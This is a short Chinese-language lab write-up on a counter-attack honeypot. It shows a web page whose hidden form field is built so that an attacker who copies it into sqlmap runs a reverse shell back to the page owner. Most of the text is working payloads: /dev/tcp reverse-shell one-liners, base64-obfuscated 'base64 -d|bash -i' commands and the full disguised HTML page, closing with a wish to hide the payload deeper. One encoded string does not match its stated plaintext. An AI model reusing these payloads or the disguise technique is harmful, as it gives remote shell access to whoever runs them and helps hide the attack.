复现环境:
蓝队:Linux Web 红队:Linux sqlmap
蓝队提前构造注入页面诱使红队进行sqlmap注入拿到红队机器权限
原理:
命令管道符:
Linux管道符
ping “`ls`”
测试
简单测试
构造注入点页面固定注入参数值,等待攻击者进行注入
sqlmap -u "http://192.168.137.1/test.html?id=aaa&b=`dir`"
那么这里就可以构造一个反弹shell
sqlmap -u "http://192.168.137.1/test.html?id=aaa&b=`exec /bin/sh 0</dev/tcp/192.168.137.1/2333 1>&0 2>&0`"
但是这样太明显了,对方看到这么一个地址的时候就会起疑心,所以要进行加密,伪造正常的页面
伪装测试
1、测试反弹编码(base64):
bash -i >& /dev/tcp/192.168.137.1/2333 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4xMzAuNDIvMTEyMiAwPiYx
echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4xMzAuNDIvMTEyMiAwPiYx | base64 -d|bash -i
2、蓝队构造页面test.php注入页面固定参数值:
<html>
<head>
<meta charset="utf-8">
<title> A sqlmap honeypot demo</title>
</head>
<body>
<input>search the user</input> <!--创建一个空白表单-->
<form action="username.html" method="post" enctype="text/plain">
<!--创建一个隐藏的表单-->
<input type='hidden' name='name' value="VertiFy&id=45273434&query=shell`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzExMjIgMD4mMQ== | base64 -d|bash -i`&port=6379"/>
<!--创建一个按钮,提交表单内容-->
<input type="submit" value='提交'>
</form>
</body>
</html>
3、红队攻击者进行注入测试:
sqlmap -u "http://192.168.137.1/test2.php" --data "name=xiaodi&id=45273434&query=shell`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzExMjIgMD4mMQ== | base64 -d|bash -i`&port=6379"
感觉这里还是差点意思的,感觉还可以在这个基础上加固,隐藏的得更深。